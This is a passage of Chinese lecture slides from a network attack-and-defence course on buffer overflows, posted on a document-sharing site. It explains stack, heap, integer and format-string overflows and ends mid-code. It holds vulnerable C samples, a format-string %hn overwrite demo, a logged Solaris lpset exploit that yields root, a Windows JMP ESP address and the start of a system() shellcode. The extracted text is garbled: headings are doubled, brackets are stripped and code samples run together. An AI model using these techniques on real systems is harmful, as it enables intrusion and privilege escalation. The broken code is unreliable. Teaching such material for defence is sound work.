網(wǎng)絡(luò)攻防實(shí)驗(yàn)課程緩沖區(qū)溢出_第1頁(yè)
網(wǎng)絡(luò)攻防實(shí)驗(yàn)課程緩沖區(qū)溢出_第2頁(yè)
網(wǎng)絡(luò)攻防實(shí)驗(yàn)課程緩沖區(qū)溢出_第3頁(yè)
網(wǎng)絡(luò)攻防實(shí)驗(yàn)課程緩沖區(qū)溢出_第4頁(yè)
網(wǎng)絡(luò)攻防實(shí)驗(yàn)課程緩沖區(qū)溢出_第5頁(yè)
已閱讀5頁(yè),還剩84頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、網(wǎng)絡(luò)攻防實(shí)戰(zhàn)技術(shù)之網(wǎng)絡(luò)攻防實(shí)戰(zhàn)技術(shù)之緩沖區(qū)溢出篇緩沖區(qū)溢出篇內(nèi)容摘要內(nèi)容摘要l 緩沖區(qū)溢出相關(guān)概念緩沖區(qū)溢出相關(guān)概念l 緩沖區(qū)溢出原理緩沖區(qū)溢出原理l 溢出保護(hù)技術(shù)溢出保護(hù)技術(shù)l 安全編程技術(shù)安全編程技術(shù)學(xué)習(xí)要求學(xué)習(xí)要求l了解緩沖區(qū)溢出的相關(guān)概念了解緩沖區(qū)溢出的相關(guān)概念l明確緩沖區(qū)溢出的危害明確緩沖區(qū)溢出的危害l理解棧溢出、堆溢出、整型溢出、格式化理解棧溢出、堆溢出、整型溢出、格式化字符串溢出及文件流溢出的原因字符串溢出及文件流溢出的原因l掌握安全編程技術(shù)掌握安全編程技術(shù)引言引言-緩沖區(qū)溢出的歷史緩沖區(qū)溢出的歷史l1988年的年的Morris蠕蟲病毒,感染了蠕蟲病毒,感染了6000多臺(tái)機(jī)多臺(tái)機(jī)

2、器:利用器:利用UNIX服務(wù)服務(wù)finger中的緩沖區(qū)溢出漏洞中的緩沖區(qū)溢出漏洞來(lái)獲得訪問權(quán)限,得到一個(gè)來(lái)獲得訪問權(quán)限,得到一個(gè)shelll1996年前后,開始出現(xiàn)大量的緩沖區(qū)溢出攻擊,年前后,開始出現(xiàn)大量的緩沖區(qū)溢出攻擊,因此引起人們的廣泛關(guān)注因此引起人們的廣泛關(guān)注l源碼開放的操作系統(tǒng)首當(dāng)其沖源碼開放的操作系統(tǒng)首當(dāng)其沖l隨后,隨后,Windows系統(tǒng)下的緩沖區(qū)溢出也相繼被系統(tǒng)下的緩沖區(qū)溢出也相繼被發(fā)掘出來(lái)發(fā)掘出來(lái)l已經(jīng)有一些非常經(jīng)典細(xì)致的文章來(lái)介紹與緩沖已經(jīng)有一些非常經(jīng)典細(xì)致的文章來(lái)介紹與緩沖區(qū)溢出有關(guān)的技術(shù)區(qū)溢出有關(guān)的技術(shù)l這兩年廣泛流行的一些這兩年廣泛流行的一些Internet worm

3、s利用了利用了一些緩沖區(qū)溢出漏洞一些緩沖區(qū)溢出漏洞 緩沖區(qū)溢出相關(guān)概念緩沖區(qū)溢出相關(guān)概念l緩沖區(qū)緩沖區(qū)l從程序的角度,緩沖區(qū)就是應(yīng)用程序用來(lái)保從程序的角度,緩沖區(qū)就是應(yīng)用程序用來(lái)保存用戶輸入數(shù)據(jù)、程序臨時(shí)數(shù)據(jù)的內(nèi)存空間存用戶輸入數(shù)據(jù)、程序臨時(shí)數(shù)據(jù)的內(nèi)存空間l緩沖區(qū)的本質(zhì)緩沖區(qū)的本質(zhì)l數(shù)組數(shù)組 l存儲(chǔ)位置存儲(chǔ)位置lStacklHeapl數(shù)據(jù)段數(shù)據(jù)段 緩沖區(qū)溢出相關(guān)概念緩沖區(qū)溢出相關(guān)概念l緩沖區(qū)溢出緩沖區(qū)溢出l如果用戶輸入的數(shù)據(jù)長(zhǎng)度如果用戶輸入的數(shù)據(jù)長(zhǎng)度超出超出了程序?yàn)槠浞至顺绦驗(yàn)槠浞峙涞膬?nèi)存空間,這些數(shù)據(jù)就會(huì)配的內(nèi)存空間,這些數(shù)據(jù)就會(huì)覆蓋覆蓋程序?yàn)槌绦驗(yàn)槠淦渌鼣?shù)據(jù)它數(shù)據(jù)分配的內(nèi)存空間,形成所謂的

4、緩沖區(qū)分配的內(nèi)存空間,形成所謂的緩沖區(qū)溢出溢出為什么會(huì)緩沖區(qū)溢出?為什么會(huì)緩沖區(qū)溢出?l在在C語(yǔ)言中,指針和數(shù)組越界不保護(hù)是語(yǔ)言中,指針和數(shù)組越界不保護(hù)是Buffer overflow的根源,而且,在的根源,而且,在C語(yǔ)言標(biāo)準(zhǔn)庫(kù)中就有語(yǔ)言標(biāo)準(zhǔn)庫(kù)中就有許多能提供溢出的函數(shù),如許多能提供溢出的函數(shù),如strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets()和和scanf()l通過(guò)指針填充數(shù)據(jù)通過(guò)指針填充數(shù)據(jù)l不好的編程習(xí)慣不好的編程習(xí)慣l溢出類型溢出類型l棧溢出棧溢出l堆溢出堆溢出利用緩沖區(qū)溢出進(jìn)行的攻擊利用緩沖區(qū)溢出進(jìn)行的攻擊l基本的思

5、想基本的思想l通過(guò)修改某些內(nèi)存區(qū)域,把一段惡意代碼存儲(chǔ)到一個(gè)通過(guò)修改某些內(nèi)存區(qū)域,把一段惡意代碼存儲(chǔ)到一個(gè)buffer中,中,并且使這個(gè)并且使這個(gè)buffer被溢出,以便當(dāng)前進(jìn)程被非法利用被溢出,以便當(dāng)前進(jìn)程被非法利用(執(zhí)行這段惡執(zhí)行這段惡意的代碼意的代碼)l危害性危害性l在在UNIX平臺(tái)上,通過(guò)發(fā)掘平臺(tái)上,通過(guò)發(fā)掘Buffer Overflow, 可以獲得一個(gè)交互式可以獲得一個(gè)交互式的的shelll在在Windows平臺(tái)上,可以上載并執(zhí)行任何的代碼平臺(tái)上,可以上載并執(zhí)行任何的代碼l溢出漏洞發(fā)掘起來(lái)需要較高的技巧和知識(shí)背景,但是,一旦有人溢出漏洞發(fā)掘起來(lái)需要較高的技巧和知識(shí)背景,但是,一旦有人

6、編寫出溢出代碼,則用起來(lái)非常簡(jiǎn)單編寫出溢出代碼,則用起來(lái)非常簡(jiǎn)單l與其他的攻擊類型相比,緩沖區(qū)溢出攻擊與其他的攻擊類型相比,緩沖區(qū)溢出攻擊l不需要太多的先決條件不需要太多的先決條件l殺傷力很強(qiáng)殺傷力很強(qiáng)l技術(shù)性強(qiáng)技術(shù)性強(qiáng)l在在Buffer Overflows攻擊面前,防火墻往往顯得很無(wú)奈攻擊面前,防火墻往往顯得很無(wú)奈利用緩沖區(qū)溢出的攻擊利用緩沖區(qū)溢出的攻擊l隨便往緩沖區(qū)中填東西造成它溢出一般只會(huì)出現(xiàn)隨便往緩沖區(qū)中填東西造成它溢出一般只會(huì)出現(xiàn)“分段錯(cuò)誤分段錯(cuò)誤”(Segmentation fault),而不能),而不能達(dá)到攻擊的目的。達(dá)到攻擊的目的。l如果覆蓋緩沖區(qū)的是一段精心設(shè)計(jì)的機(jī)器指令序如

7、果覆蓋緩沖區(qū)的是一段精心設(shè)計(jì)的機(jī)器指令序列,它可能通過(guò)溢出,改變返回地址,將其指向列,它可能通過(guò)溢出,改變返回地址,將其指向自己的指令序列,從而改變?cè)摮绦虻恼A鞒?。自己的指令序列,從而改變?cè)摮绦虻恼A鞒獭?程序指令流被改變后程序指令流被改變后l溢出之后,讓程序執(zhí)行我們指定的代碼溢出之后,讓程序執(zhí)行我們指定的代碼l我們自己提供的一段代碼我們自己提供的一段代碼l系統(tǒng)現(xiàn)有的調(diào)用系統(tǒng)現(xiàn)有的調(diào)用l由于這段代碼往往不能太長(zhǎng),所以需要精心設(shè)計(jì),并且充由于這段代碼往往不能太長(zhǎng),所以需要精心設(shè)計(jì),并且充分利用系統(tǒng)中現(xiàn)有的函數(shù)和指令分利用系統(tǒng)中現(xiàn)有的函數(shù)和指令l對(duì)于不同的操作系統(tǒng)對(duì)于不同的操作系統(tǒng)lLinux

8、/Unix,盡可能地得到一個(gè)盡可能地得到一個(gè)shell(最好是最好是root shell)lWindows,一個(gè)可以遠(yuǎn)程建立連接的一個(gè)可以遠(yuǎn)程建立連接的telnet會(huì)話會(huì)話l通用的模式通用的模式l找到具有漏洞的程序找到具有漏洞的程序(vulnerable program )l編寫出編寫出shellcode,l然后編寫把然后編寫把shellcode送到漏洞程序的程序送到漏洞程序的程序(稱為稱為exploit)Windows平臺(tái)下緩沖區(qū)溢出平臺(tái)下緩沖區(qū)溢出l過(guò)程過(guò)程l發(fā)現(xiàn)目標(biāo)發(fā)現(xiàn)目標(biāo)l找到有漏洞的程序,如果在找到有漏洞的程序,如果在輸入非正常字符串的時(shí)候,輸入非正常字符串的時(shí)候,出現(xiàn)右圖的情形出現(xiàn)

9、右圖的情形l或者從程序中找漏洞,用好或者從程序中找漏洞,用好的反匯編工具,加上耐心的反匯編工具,加上耐心l以一個(gè)特定的字符串作為線以一個(gè)特定的字符串作為線索,跟蹤到索,跟蹤到strcpy這樣的函這樣的函數(shù),看是否有邊界檢查數(shù),看是否有邊界檢查l編寫編寫shellcodel編寫編寫exploit程序,并試驗(yàn),程序,并試驗(yàn),直到成功直到成功簡(jiǎn)單溢出實(shí)例簡(jiǎn)單溢出實(shí)例#include int main() char name8 = 0; printf(“Your name:”); gets(name); printf(“Hello,%s!”,name); return 0;緩沖區(qū)溢出的危害緩沖區(qū)溢出的

10、危害l應(yīng)用程序異常應(yīng)用程序異常l系統(tǒng)不穩(wěn)定甚至崩潰系統(tǒng)不穩(wěn)定甚至崩潰l程序跳轉(zhuǎn)到惡意代碼,控制權(quán)被竊程序跳轉(zhuǎn)到惡意代碼,控制權(quán)被竊 緩沖區(qū)溢出原理緩沖區(qū)溢出原理l預(yù)備知識(shí)預(yù)備知識(shí)l理解程序內(nèi)存空間理解程序內(nèi)存空間l理解堆棧理解堆棧l理解函數(shù)調(diào)用過(guò)程理解函數(shù)調(diào)用過(guò)程l理解緩沖區(qū)溢出的原理理解緩沖區(qū)溢出的原理Windows環(huán)境下的堆棧環(huán)境下的堆棧l程序空間由何構(gòu)成?程序空間由何構(gòu)成?l堆棧是什么堆棧是什么?l堆棧里面放的都是什么信息堆棧里面放的都是什么信息?l程序使用超過(guò)了堆棧默認(rèn)的大小怎么辦程序使用超過(guò)了堆棧默認(rèn)的大小怎么辦?l在一次函數(shù)調(diào)用中在一次函數(shù)調(diào)用中,堆棧是如何工作的堆棧是如何工作的?

11、程序在內(nèi)存中的映像程序在內(nèi)存中的映像文本(代碼)段文本(代碼)段數(shù)據(jù)段數(shù)據(jù)段堆棧段堆棧段內(nèi)存低地址內(nèi)存低地址內(nèi)存高地址內(nèi)存高地址內(nèi)存遞增方向內(nèi)存遞增方向初始化數(shù)據(jù)段初始化數(shù)據(jù)段非初始化數(shù)據(jù)段非初始化數(shù)據(jù)段(BSS)堆堆(Heap)棧棧(stack)堆的增長(zhǎng)方向堆的增長(zhǎng)方向棧的增長(zhǎng)方向棧的增長(zhǎng)方向內(nèi)核數(shù)據(jù)代碼內(nèi)核數(shù)據(jù)代碼0 x800000000 x7FFFFFFFPEB&TEB系統(tǒng)系統(tǒng)DLL代碼段代碼段棧棧l棧是一塊連續(xù)的內(nèi)存空間棧是一塊連續(xù)的內(nèi)存空間就像一個(gè)杯子就像一個(gè)杯子l先入后出先入后出l生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向正好相反生長(zhǎng)方向與內(nèi)存的生長(zhǎng)方向正好相反, 從高地址向低從高地址向低地

12、址生長(zhǎng)地址生長(zhǎng)l每一個(gè)線程有自己的棧每一個(gè)線程有自己的棧l提供一個(gè)暫時(shí)存放數(shù)據(jù)的區(qū)域提供一個(gè)暫時(shí)存放數(shù)據(jù)的區(qū)域 l使用使用POP/PUSH指令來(lái)對(duì)棧進(jìn)行操作指令來(lái)對(duì)棧進(jìn)行操作l使用使用ESP寄存器指向棧頂,寄存器指向棧頂,EBP指向棧幀底指向棧幀底棧內(nèi)容棧內(nèi)容l函數(shù)的參數(shù)函數(shù)的參數(shù)l函數(shù)返回地址函數(shù)返回地址lEBP的值的值l一些通用寄存器一些通用寄存器(EDI,ESI)的值的值l當(dāng)前正在執(zhí)行的函數(shù)的局部變量當(dāng)前正在執(zhí)行的函數(shù)的局部變量三個(gè)重要的寄存器三個(gè)重要的寄存器lSP(ESP)l即棧頂指針,隨著數(shù)據(jù)入棧出棧而發(fā)生變化即棧頂指針,隨著數(shù)據(jù)入棧出棧而發(fā)生變化lBP(EBP)l即基地址指針,用于

13、標(biāo)識(shí)棧中一個(gè)相對(duì)穩(wěn)定的位置。即基地址指針,用于標(biāo)識(shí)棧中一個(gè)相對(duì)穩(wěn)定的位置。通過(guò)通過(guò)BP,可以方便地引用函數(shù)參數(shù)以及局部變量可以方便地引用函數(shù)參數(shù)以及局部變量lIP(EIP)l即指令寄存器,在將某個(gè)函數(shù)的棧幀壓入棧中時(shí),即指令寄存器,在將某個(gè)函數(shù)的棧幀壓入棧中時(shí),其中就包含當(dāng)前的其中就包含當(dāng)前的IP值,即函數(shù)調(diào)用返回后下一個(gè)值,即函數(shù)調(diào)用返回后下一個(gè)執(zhí)行語(yǔ)句的地址執(zhí)行語(yǔ)句的地址函數(shù)調(diào)用過(guò)程函數(shù)調(diào)用過(guò)程l把參數(shù)壓入棧把參數(shù)壓入棧l保存指令寄存器中的內(nèi)容,作為返回地址保存指令寄存器中的內(nèi)容,作為返回地址l放入堆棧當(dāng)前的基址寄存器放入堆棧當(dāng)前的基址寄存器l把當(dāng)前的棧指針把當(dāng)前的棧指針(ESP)拷貝到基

14、址寄存器,拷貝到基址寄存器,作為新的基地址作為新的基地址l為本地變量留出一定空間,把為本地變量留出一定空間,把ESP減去適減去適當(dāng)?shù)臄?shù)值當(dāng)?shù)臄?shù)值函數(shù)調(diào)用中棧的工作過(guò)程函數(shù)調(diào)用中棧的工作過(guò)程l調(diào)用函數(shù)前調(diào)用函數(shù)前l(fā)壓入棧壓入棧l上級(jí)函數(shù)傳給上級(jí)函數(shù)傳給A函數(shù)的參數(shù)函數(shù)的參數(shù)l返回地址返回地址(EIP)l當(dāng)前的當(dāng)前的EBP l函數(shù)的局部變量函數(shù)的局部變量l調(diào)用函數(shù)后調(diào)用函數(shù)后l恢復(fù)恢復(fù)EBP l恢復(fù)恢復(fù)EIPl局部變量不作處理局部變量不作處理例子例子1 1#include #include void foo(const char* input) char stack10; strcpy(stack

15、,input);void bar() printf(nAh,Ive been hacked!n);void main(int argc,char *argv) foo(argv1);main: pushl %ebp movl %esp,%ebp subl $8,%esp addl $-12,%esp movl 12(%ebp),%eax addl $4,%eax movl (%eax),%edx pushl %edx call foo addl $16,%esp.L4: leave retfoo: pushl %ebp movl %esp,%ebp subl $24,%esp addl $-8

16、,%esp movl 8(%ebp),%eax pushl %eax leal -12(%ebp),%eax pushl %eax call strcpy addl $16,%esp.L2: leave ret例子例子2int AFunc(int i,int j)int m = 3;int n = 4; m = i;n = j; BFunc(m,n); return 8;int BFunc(int i,int j) int m = 1; int n = 2; m = i; n = j; return m;int main()AFunc(5,6); return 0;6當(dāng)前當(dāng)前EBP當(dāng)前當(dāng)前ES

17、PAFunc(5,6);push 6push 5call _AFuncadd esp+8語(yǔ)句執(zhí)行前的語(yǔ)句執(zhí)行前的EBP語(yǔ)句執(zhí)行前的語(yǔ)句執(zhí)行前的ESP函數(shù)調(diào)用中棧的工作過(guò)程函數(shù)調(diào)用中棧的工作過(guò)程5EIP_AFuncpush ebpmov ebp,espsub esp,48h/壓入環(huán)境變量壓入環(huán)境變量/為局部變量分配空間為局部變量分配空間EBP48hEDIESIEBX3(m=3)4(n=4)6當(dāng)前當(dāng)前EBP當(dāng)前當(dāng)前ESPAFunc(5,6);call _AFuncadd esp+8語(yǔ)句執(zhí)行前的語(yǔ)句執(zhí)行前的EBP語(yǔ)句執(zhí)行前的語(yǔ)句執(zhí)行前的ESP函數(shù)調(diào)用中棧的工作過(guò)程函數(shù)調(diào)用中棧的工作過(guò)程5EIP_AF

18、uncreturn 0;pop edipop esipop ebxadd esp,48h/棧校驗(yàn)棧校驗(yàn)pop ebpretEBP48hEDIESIEBX3(m=3)4(n=4)當(dāng)緩沖區(qū)溢出發(fā)生時(shí)當(dāng)緩沖區(qū)溢出發(fā)生時(shí)int AFunc(int i,int j)int m = 3;int n = 4; char szBuf8 = 0; strcpy(szBuf, “This is a overflow buffer!”); m = i; n = j; BFunc(m,n); return 8;6szBuf5EIPEBPEDIESIEBX3(m=3)4(n=4) 緩沖區(qū)溢出原理及其利用緩沖區(qū)溢出原理及

19、其利用l緩沖區(qū)溢出種類緩沖區(qū)溢出種類l棧溢出棧溢出l堆溢出堆溢出l整型溢出整型溢出l格式化字符串溢出格式化字符串溢出l其他溢出其他溢出棧溢出棧溢出l特點(diǎn)特點(diǎn)l緩沖區(qū)在棧中分配緩沖區(qū)在棧中分配l拷貝的數(shù)據(jù)過(guò)長(zhǎng)拷貝的數(shù)據(jù)過(guò)長(zhǎng)l覆蓋了函數(shù)的返回地址或其它一些重要數(shù)據(jù)覆蓋了函數(shù)的返回地址或其它一些重要數(shù)據(jù)結(jié)構(gòu)、函數(shù)指針結(jié)構(gòu)、函數(shù)指針棧溢出實(shí)例棧溢出實(shí)例int AFunc(int i,int j)int m = 3;int n = 4; char szBuf8 = 0; *(int *)(int)szBuf+20) = BFunc; m = i; n = j; BFunc(m,n); return 8;

20、用用BFunc的地址替換正常的地址替換正常的的AFunc返回地址,使程返回地址,使程序運(yùn)行至序運(yùn)行至BFunc堆溢出堆溢出l堆和棧有何區(qū)別堆和棧有何區(qū)別l內(nèi)存的動(dòng)態(tài)分配與內(nèi)存的動(dòng)態(tài)分配與靜態(tài)分配靜態(tài)分配l數(shù)據(jù)增長(zhǎng)方向數(shù)據(jù)增長(zhǎng)方向l堆溢出特點(diǎn)堆溢出特點(diǎn)l緩沖區(qū)在堆中分配緩沖區(qū)在堆中分配l拷貝的數(shù)據(jù)過(guò)長(zhǎng)拷貝的數(shù)據(jù)過(guò)長(zhǎng)l覆蓋了堆管理結(jié)構(gòu)覆蓋了堆管理結(jié)構(gòu)#define BUFLEN 32int main(int argc, char* argv )char *buf1;buf1 = (char*)malloc(BUFLEN);strcpy(buf1,argv1); printf(%sn,buf1);f

21、ree(buf1);return 0;關(guān)于堆溢出關(guān)于堆溢出l比較少引起人們的關(guān)注,原因在于比較少引起人們的關(guān)注,原因在于l比棧溢出難度更大比棧溢出難度更大l需要結(jié)合其他的技術(shù),比如需要結(jié)合其他的技術(shù),比如l函數(shù)指針改寫函數(shù)指針改寫lVtable改寫改寫lMalloc庫(kù)本身的漏洞庫(kù)本身的漏洞l對(duì)于內(nèi)存中變量的組織方式有一定的要求對(duì)于內(nèi)存中變量的組織方式有一定的要求整型溢出整型溢出l寬度溢出(寬度溢出(Widthness Overflow)l嘗試存儲(chǔ)一個(gè)超過(guò)變量表示范圍的大數(shù)到變量中嘗試存儲(chǔ)一個(gè)超過(guò)變量表示范圍的大數(shù)到變量中l(wèi)運(yùn)算溢出(運(yùn)算溢出(Arithmetic Overflow)l如果存儲(chǔ)值

22、是一個(gè)運(yùn)算操作,稍后使用這個(gè)結(jié)果的如果存儲(chǔ)值是一個(gè)運(yùn)算操作,稍后使用這個(gè)結(jié)果的程序的任何一部分都將錯(cuò)誤的運(yùn)行,因?yàn)檫@個(gè)計(jì)算程序的任何一部分都將錯(cuò)誤的運(yùn)行,因?yàn)檫@個(gè)計(jì)算結(jié)果是不正確的。結(jié)果是不正確的。l符號(hào)溢出符號(hào)溢出(Signedness Bug) l一個(gè)無(wú)符號(hào)的變量被看作有符號(hào),或者一個(gè)有符號(hào)一個(gè)無(wú)符號(hào)的變量被看作有符號(hào),或者一個(gè)有符號(hào)的變量被看作無(wú)符號(hào)的變量被看作無(wú)符號(hào)寬度溢出示例寬度溢出示例void main(int argc,char* argv)unsigned short s; int i;char buf80;i = atoi(argv1);/將字符串轉(zhuǎn)換為整型數(shù)據(jù)將字符串轉(zhuǎn)換為

23、整型數(shù)據(jù)s = i;if(s = 80) return;memcpy(buf,argv2,i);運(yùn)算溢出示例運(yùn)算溢出示例void CopyIntArray(int *array,int len)int* myarray,i;myarray = malloc(len*sizeof(int);if(myarray = NULL)return;for(i=0;i size)return;memcpy(kbuf,buf,len);格式化字符串溢出格式化字符串溢出l關(guān)鍵字關(guān)鍵字l“%n”l產(chǎn)生原因產(chǎn)生原因lprintf()是不定參數(shù)輸入是不定參數(shù)輸入lprintf()不會(huì)檢查輸入?yún)?shù)的個(gè)數(shù)不會(huì)檢查輸入?yún)?/p>

24、數(shù)的個(gè)數(shù)其他溢出類型其他溢出類型l.data section溢出溢出lPEB/TEB溢出溢出l文件流溢出文件流溢出歸納歸納l溢出的共性溢出的共性l大大object向小向小object復(fù)制數(shù)據(jù)復(fù)制數(shù)據(jù)(字符串或整型字符串或整型),容納不下造成溢出容納不下造成溢出l溢出會(huì)覆蓋一些關(guān)鍵性數(shù)據(jù)(返回地址、管溢出會(huì)覆蓋一些關(guān)鍵性數(shù)據(jù)(返回地址、管理數(shù)據(jù)、異常處理或文件指針等)理數(shù)據(jù)、異常處理或文件指針等)l利用程序的后續(xù)流程,得到程序的控制權(quán)利用程序的后續(xù)流程,得到程序的控制權(quán)緩沖區(qū)溢出的利用緩沖區(qū)溢出的利用char szBuf8 = 0;strcpy(szBuf,argv2);largv2的內(nèi)容:的內(nèi)

25、容:l對(duì)對(duì)EIP的填充的填充lShellcode6szBuf5EIPEBPEDIESIEBX3(m=3)4(n=4)ShellcodeShellcodelShellcode其實(shí)就是一段可以完成某種特定其實(shí)就是一段可以完成某種特定功能的二進(jìn)制代碼功能的二進(jìn)制代碼lShellcode的功能的功能l基本功能基本功能l添加添加administrator or root組用戶組用戶l遠(yuǎn)程可用遠(yuǎn)程可用shelll下載程序(下載程序(Trojan or Rootkit)執(zhí)行)執(zhí)行l(wèi)高級(jí)功能高級(jí)功能l抗抗NIDS檢測(cè)檢測(cè)l穿透防火墻穿透防火墻Shellcode不通用不通用lShellcode為什么不通用為什么

26、不通用l不同硬件平臺(tái)不同硬件平臺(tái)lIBM PC、Alpha,PowerPCl不同系統(tǒng)平臺(tái)不同系統(tǒng)平臺(tái)lUnix、Windowsl不同內(nèi)核與補(bǔ)丁版本不同內(nèi)核與補(bǔ)丁版本l不同漏洞對(duì)字符串限制不同不同漏洞對(duì)字符串限制不同利用緩沖區(qū)溢出的攻擊實(shí)例利用緩沖區(qū)溢出的攻擊實(shí)例llogin: zchlPassword:lLast login: Fri Jan 12 15:21:34 from 210.34.6.82lSun Microsystems Inc. SunOS 5.6 Generic August 1997lYou have mail.l$ wholzch pts/1 Jan 12 15:22 ()

27、l$ lpsetlUsage: lpset -n (system|xfn) -x -a key=value -d key (printer)#查看是否查看是否有有l(wèi)pset程序程序l$ ./lpset2 944 1600 2lUsages: ./lpset2 lUsing RET address = 0 xefffff40 ,Offset = 1600, Align= 2l# idluid=0(root) gid=1(other)l#l入侵成功。入侵成功。lpset2源程序可在綠盟站點(diǎn)下載。源程序可在綠盟站點(diǎn)下載。l格式化字符串溢出攻擊格式化字符串溢出攻擊 格式化字符串:就是在格式化字符串:就

28、是在* *printf()printf()系列函數(shù)中按照一系列函數(shù)中按照一定的格式對(duì)數(shù)據(jù)進(jìn)行輸出,可以輸出到標(biāo)準(zhǔn)輸出,即定的格式對(duì)數(shù)據(jù)進(jìn)行輸出,可以輸出到標(biāo)準(zhǔn)輸出,即printf()printf(),也可以輸出到文件句柄,字符串等。,也可以輸出到文件句柄,字符串等。 黑客可以利用的幾個(gè)條件:黑客可以利用的幾個(gè)條件: (1)(1)參數(shù)個(gè)數(shù)不固定造成訪問越界數(shù)據(jù)參數(shù)個(gè)數(shù)不固定造成訪問越界數(shù)據(jù) (2)(2)利用利用%n/%hn%n/%hn格式符寫入跳轉(zhuǎn)地址格式符寫入跳轉(zhuǎn)地址 (3)(3)利用附加格式符控制跳轉(zhuǎn)地址的值利用附加格式符控制跳轉(zhuǎn)地址的值格式化字符串溢出攻擊格式化字符串溢出攻擊l格式化字符串

29、溢出攻擊格式化字符串溢出攻擊 一個(gè)簡(jiǎn)單的例子一個(gè)簡(jiǎn)單的例子:int main()long retloc = 0;long shell_addr = 0 xffbeffac, reth, retl;char buf256, buf1256;reth = (shell_addr 16) & 0 xffff ;retl = (shell_addr 0) & 0 xffff ;sprintf(buf, %.%uu%hn%uc%hn, reth , retl - reth + 0 x10000);printf(Before overwrite: retloc = 0 x%.8xn, re

30、tloc);printf(buf, A, &retloc, B, (char*)(&retloc) + 2 );printf(After overwrite: retloc = 0 x%.8xn, retloc); 格式化字符串溢出攻擊格式化字符串溢出攻擊l格式化字符串溢出攻擊格式化字符串溢出攻擊 程序執(zhí)行結(jié)果:程序執(zhí)行結(jié)果: Before overwrite: retloc = 0 x00000000Before overwrite: retloc = 0 x00000000 After overwrite: retloc = 0 xffacffbe After overwr

31、ite: retloc = 0 xffacffbe 程序執(zhí)行分析:程序執(zhí)行分析: printf(%.65470u%hn%65518c%hn, A, &retloc, B, printf(%.65470u%hn%65518c%hn, A, &retloc, B, (char(char* *)(&retloc) + 2 );)(&retloc) + 2 ); |-ffbe-| |-ffac-| 格式化字符串溢出攻擊格式化字符串溢出攻擊一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊#include #include char name=abcdef;int main() c

32、har buffer8; strcpy (buffer, name); for (int i=0;i8&bufferi;i+) printf(0 x%x,bufferi); return 0;#include main()LoadLibrary (msvcrt.dll);system ();一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊l溢出報(bào)錯(cuò)分析溢出報(bào)錯(cuò)分析一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊l需要做的工作需要做的工作1.被攻擊程序返回點(diǎn)的精確位置,可以把它覆蓋成任意地被攻擊程序返回點(diǎn)的精確位置,可以把它覆蓋成任意地址,讓計(jì)算機(jī)執(zhí)行那個(gè)地址的代碼。址,讓計(jì)算機(jī)執(zhí)行那個(gè)地址的代碼。2.

33、ShellCode(一個(gè)可以提供(一個(gè)可以提供DOS窗口的代碼,最后解決)窗口的代碼,最后解決)3.把攻擊程序的返回點(diǎn)地址覆蓋成把攻擊程序的返回點(diǎn)地址覆蓋成 ShellCode的地址(利的地址(利用用JMP ESP)一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊 使用使用JMP ESP地址來(lái)覆蓋返回地址,地址來(lái)覆蓋返回地址,而把而把ShellCode緊跟在后面,這樣就緊跟在后面,這樣就可跳轉(zhuǎn)到我們的可跳轉(zhuǎn)到我們的ShellCode中。其利中。其利用格式是:用格式是:NNNNNRSSSSSS,N=NOP,S=ShellCode,R= JMP ESP的地址。的地址。 這也就是這也就是name數(shù)組的格式數(shù)

34、組的格式一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊 函數(shù)執(zhí)行完畢,要返回時(shí)函數(shù)執(zhí)行完畢,要返回時(shí)堆棧指針堆棧指針ESP會(huì)指向保存原會(huì)指向保存原EIP的地方,而指令指針的地方,而指令指針EIP指向指向Ret(Pop EIP)指令。指令。所以在正常情況下,所以在正常情況下,Ret執(zhí)執(zhí)行后,就可把原來(lái)的行后,就可把原來(lái)的EIP恢恢復(fù),從而回到中斷前的流復(fù),從而回到中斷前的流程。程。一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊 但是,保存的但是,保存的EIP已經(jīng)被我已經(jīng)被我們覆蓋成們覆蓋成JMP ESP指令的指令的地址了。這樣,執(zhí)行地址了。這樣,執(zhí)行Pop EIP后,

35、后,EIP會(huì)被改為會(huì)被改為JMP ESP的地址,即指向的地址,即指向JMP ESP。而。而ESP已經(jīng)下移一位,已經(jīng)下移一位,指向指向ShellCode的第一個(gè)字的第一個(gè)字節(jié)節(jié)一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊 在不同的操作系統(tǒng)下,在不同的操作系統(tǒng)下,JMP ESP的地址一般是不的地址一般是不同的,但不是唯一的。中同的,但不是唯一的。中文版文版Win2000、2003、XP的的JMP ESP通用跳轉(zhuǎn)地址:通用跳轉(zhuǎn)地址: 0 x7ffa4512一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊#include main()LoadLibrary (msvcrt.dll);system (); 最后,將

36、該程序轉(zhuǎn)最后,將該程序轉(zhuǎn)換成換成ShellCode一個(gè)緩沖區(qū)溢出的攻擊一個(gè)緩沖區(qū)溢出的攻擊#include #include typedef void (*MYPROC)(LPTSTR); /定義函數(shù)指針,用于指向定義函數(shù)指針,用于指向system函數(shù)函數(shù)int main()HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”); /加載動(dòng)態(tài)鏈接庫(kù),賦給句柄加載動(dòng)態(tài)鏈接庫(kù),賦給句柄 ProcAdd = (MYPROC) GetProcAddress(LibHandle, “system”);/先獲得先獲得

